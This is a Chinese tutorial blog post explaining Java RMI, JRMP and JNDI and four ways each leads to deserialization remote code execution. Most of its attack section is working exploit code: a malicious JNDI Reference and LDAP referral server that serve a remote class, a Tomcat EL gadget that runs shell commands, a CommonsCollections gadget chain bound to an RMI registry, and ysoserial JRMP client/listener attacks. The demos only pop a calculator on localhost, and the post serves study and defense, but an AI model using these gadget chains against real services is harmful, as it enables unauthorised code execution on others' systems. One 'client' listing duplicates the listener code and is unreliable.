基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI

2020-01-12 约 1259 字 预计阅读 6 分钟

声明:本文 【基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI】 由作者 threedr3am 于 2020-01-12 10:31:26 首发 先知社区 曾经 浏览数 55 次

感谢 threedr3am 的辛苦付出!

0 前言

以往看到很多讲述RMI、JNDI、JRMP的文章,有部分文章都描述的并不是很清晰,看着通篇大论,觉得很详细,但看完之后却搞不懂,也解释不清,反正就是感觉自己还没搞懂,却又好像懂了点,很迷糊...

这篇文章,我想要的就是以最简短的内容和例子,去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等。虽然我不能百分百保证我写的毫无错误,但是,我觉得你看了这篇文章之后,大概应该就懂了。

1 搞懂概念

1.1 RMI

以下是wiki的描述:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

根据wiki所说RMI全称为Remote Method Invocation,也就是远程方法调用,通俗点解释,就是跨越jvm,调用一个远程方法。众所周知,一般情况下java方法调用
指的是同一个jvm内方法的调用,而RMI与之恰恰相反。

例如我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称之为Interface Invocation,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口。并且Java中封装了RMI的一系列定义。

到这里了,我这边做个简短通俗的总结:RMI是一种行为,这种行为指的是Java远程方法调用。

1.2 JRMP

以下是wiki的描述:

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

根据wiki所说JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议,通俗点解释,它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用。

还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,是用到基于TCP/IP之上的HTTP协议,只有通过这个HTTP协议,浏览器和服务端约定好的一个协议,它们之间才能正常的交流通讯。而JRMP也是一个与之相似的协议,只不过JRMP这个协议仅用于Java RMI中。

总结的来说:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。

1.3 JNDI

以下是wiki的描述:

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

根据wiki的描述,JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

2 以攻击例子来阐述

前言已经说了“去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等”

2.1 为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE

我们先看一个例子:

  • 程序A

具有接口类HelloService和实现类HelloServiceImpl

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        System.out.println("hello!");
        return "hello!";
    }
}

启动了一个1099端口的Registry注册服务,并把HelloService接口的实现HelloServiceImpl暴露和注册到Registry注册服务

public class App {

  public static void main(String[] args) {
    try {
      Registry registry = LocateRegistry.createRegistry(1099);
      registry.bind("hello", new HelloServiceImpl());
    } catch (RemoteException e) {
      e.printStackTrace();
    } catch (AlreadyBoundException e) {
      e.printStackTrace();
    }
  }
}
  • 程序B

具有接口类HelloService

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}

连接Registry并lookup查找到名为hello的对象

public class App {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            HelloService helloService = (HelloService) registry.lookup("hello");
            System.out.println(helloService.sayHello());

        } catch (NotBoundException e) {
            e.printStackTrace();
        }
}
  • 启动程序A后,再启动程序B

在上述操作后,我们会发现程序A输出了hello,并且程序B也输出了hello。到底怎么回事呢?

其实,在程序A启动的时候,程序A启动了一个RMI的注册中心,接着把HelloServiceImpl暴露并注册到RMI注册中心,其中存储着HelloServiceImpl的stub数据,包含有HelloServiceImpl所在服务器的ip和port。在程序B启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是程序A中HelloServiceImpl实现暴露的ip和port,最后通过JRMP协议发起RMI请求,RMI后,程序A输出hello并通过JRMP协议把hello的序列化数据返回给程序B,程序B对其反序列化后输出。

根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在程序A lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当程序B lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在程序A lookup的时候实现加载远程恶意class实现RCE。

我们再来看一个例子:

  • 程序A

创建了一个端口为1099的Registry注册中心,并注册了一个Reference到注册中心,该Reference引用了一个127.0.0.1中80端口http服务提供的Calc.class

public class App3
{
    public static void main( String[] args )
    {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("Calc","Calc","http://127.0.0.1:80/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("hello",referenceWrapper);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
  • 程序B
public class App4 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

程序启动后,发现报错:

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

因为在jdk8u121版本开始,Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false,将导致通过rmi的方式加载远程的字节码不会被信任,想要绕过有两种方式:

  1. 使用ldap服务取代rmi服务:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

/**
 * LDAP server
 *
 * @author threedr3am
 */
public class LdapServer {

  private static final String LDAP_BASE = "dc=example,dc=com";

  public static void main(String[] args) {
    run();
  }

  public static void run() {
    int port = 1099;
    //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
    String url = "http://localhost/#Calc";
    try {
      InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
      config.setListenerConfigs(new InMemoryListenerConfig(
          "listen", //$NON-NLS-1$
          InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
          port,
          ServerSocketFactory.getDefault(),
          SocketFactory.getDefault(),
          (SSLSocketFactory) SSLSocketFactory.getDefault()));

      config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
      InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
      System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
      ds.startListening();

    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;


    /**
     *
     */
    public OperationInterceptor(URL cb) {
      this.codebase = cb;
    }


    /**
     * {@inheritDoc}
     *
     * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
     */
    @Override
    public void processSearchResult(InMemoryInterceptedSearchResult result) {
      String base = result.getRequest().getBaseDN();
      Entry e = new Entry(base);
      try {
        sendResult(result, base, e);
      } catch (Exception e1) {
        e1.printStackTrace();
      }

    }


    protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
        throws LDAPException, MalformedURLException {
      URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));
      System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
      e.addAttribute("javaClassName", "Calc");
      String cbstring = this.codebase.toString();
      int refPos = cbstring.indexOf('#');
      if (refPos > 0) {
        cbstring = cbstring.substring(0, refPos);
      }
      e.addAttribute("javaCodeBase", cbstring);
      e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
      e.addAttribute("javaFactory", this.codebase.getRef());
      result.sendSearchEntry(e);
      result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }

  }
}
  1. 使用tomcat-el利用链:

PS:使用这种方式,需要lookup的客户端存在以下依赖

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-el</artifactId>
  <version>8.5.15</version>
</dependency>
public class App
{
    public static void main( String[] args )
    {


        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
            //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
            //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
            resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("hello",referenceWrapper);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

2.2 为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE

我们先看一个例子:

  • 程序A
public class App {

  public static void main(String[] args) {
    try {
      LocateRegistry.createRegistry(1099);
    } catch (RemoteException e) {
      e.printStackTrace();
    }
    while(true);
  }
}

程序A创建了一个1099端口的Registry注册中心

  • 程序B
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.*;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class App3 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map ouputMap = LazyMap.decorate(innerMap,transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap,"pwn");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        try {
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException,tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn",badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,tmpMap);

            Remote remote = Remote.class.cast(Proxy.newProxyInstance(App3.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("pwn",remote);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

熟悉ysoserial的小伙伴会发现,这其实就是一个ysoserial中的一个payload,而当我启动这个程序,并把这个payload对象动态代理成Remote,并注册到Registry注册中心后,注册中心就会被RCE弹出计算器。

为什么会导致这样呢?其实我们不难猜测,既然触发了RCE,那么必然Registry注册中心执行了这段代码,而这段代码怎么从程序B到程序A的呢,这其中必然是registry.bind("pwn",remote)这个方法中的细节,而java对于对象数据的传输,一向都是通过java原生序列化的方式进行,我们可以尝试抓包看看。

可以清晰的看到,程序B发送了序列化的数据流给程序A,这印证了我前面的猜测。

2.3 为什么使用JRMP能互相对打

在说使用JRMP为什么能互相对打前,我们回顾一下前面第一章写的JRMP的概念“JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。”,很明显JRMP是一种协议,它规定了数据是以什么格式、什么形式在RMI的过程进行传输。那就不难理解为什么使用JRMP能互相对打了。

如果说,JRMP协议规定了RMI的时候,传输的数据包含有java原生序列化数据,并且在JRMP的客户端还是服务端,当接收到JRMP协议数据时,都会把序列化的数据进行反序列化的话,那么就不难解析了。

那我们再以一个例子,来讲述如何用JRMP协议使用客户端去打服务端:

  • 服务端

我这里使用了ysoserial的payload直接创建一个JRMP的服务端

@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.runDeserialize = true;
        PayloadRunner.run(JRMPListener.class, new String[] {"8889"});
    }
}
  • 客户端

接着看ysoserial的exploit目录ysoserial/src/main/java/ysoserial/exploit

exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java

其中,我们可以利用JRMPClient.java这个exploit去实现打服务端

public class JRMPClient {

    public static final void main ( final String[] argsx ) {
        String[] args = new String[] {"127.0.0.1","8889","CommonsCollections6","/Applications/Calculator.app/Contents/MacOS/Calculator"};
        if ( args.length < 4 ) {
            System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[ 0 ];
        int port = Integer.parseInt(args[ 1 ]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            makeDGCCall(hostname, port, payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

    ...
}

我们指定了当通过客户端使用JRMP协议去连接服务端时,使用CommonsCollections6这个payload(反序列化gadget chain),去RCE。

PS:在jdku121开始,部分class会被过滤,导致大部分payload不能被反序列化,报错:

一月 07, 2020 4:20:06 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class java.util.HashSet, array length: -1, nRefs: 2, depth: 1, bytes: 75, ex: n/a

具体怎么绕过,网上看着挺多文章分析的。

接着我们再以一个例子,来讲述如何用JRMP协议使用服务端去打客户端:

  • 服务端
exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java

我们这里的例子,使用的是ysoserial的JRMPListener.java,并监听9999端口的JRMP连接,当有客户端连上后,会以JRMP的协议格式,把CommonsCollections6的payload发给对方。

public static final void main ( String[] args ) {
    args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
    if ( args.length < 3 ) {
        System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
        System.exit(-1);
        return;
    }

    final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

    try {
        int port = Integer.parseInt(args[ 0 ]);
        System.err.println("* Opening JRMP listener on " + port);
        JRMPListener c = new JRMPListener(port, payloadObject);
        c.run();
    }
    catch ( Exception e ) {
        System.err.println("Listener error");
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);
}
  • 客户端

我这里使用了ysoserial的payload直接创建一个JRMP的客户端,连接127.0.0.1的9999端口

ysoserial.payloads.JRMPClient:

public static final void main ( String[] args ) {
    args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
    if ( args.length < 3 ) {
        System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
        System.exit(-1);
        return;
    }

    final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

    try {
        int port = Integer.parseInt(args[ 0 ]);
        System.err.println("* Opening JRMP listener on " + port);
        JRMPListener c = new JRMPListener(port, payloadObject);
        c.run();
    }
    catch ( Exception e ) {
        System.err.println("Listener error");
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);
}

然后,就能看的计算器弹出来了,顺利RCE。

3 打法总结

  1. 打Registry注册中心

通过使用Registry连接到注册中心,然后把gadget chain对象bind注册到注册中心,从而引起注册中心反序列化RCE

  1. 打InitialContext.lookup执行者

通过使用JNDI的实现,也就是rmi或ldap的目录系统服务,在其中放置一个某名称关联的Reference,Reference关联http服务中的恶意class,在某程序InitialContext.lookup目录系统服务后,返回Reference给该程序,使其加载远程class,从而RCE

  1. JRMP协议客户端打服务端

使用JRMP协议,直接发送gadget chain的序列化数据到服务端,从而引起服务端反序列化RCE

  1. JRMP协议服务端打客户端

使用JRMP协议,当客户端连上后,直接返回gadget chain的序列化数据给客户端,从而引起客户端反序列化RCE

参考:

https://zh.m.wikipedia.org/wiki/Java%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8

https://zh.m.wikipedia.org/wiki/Java%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E5%8D%8F%E8%AE%AE

https://zh.m.wikipedia.org/wiki/JNDI

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now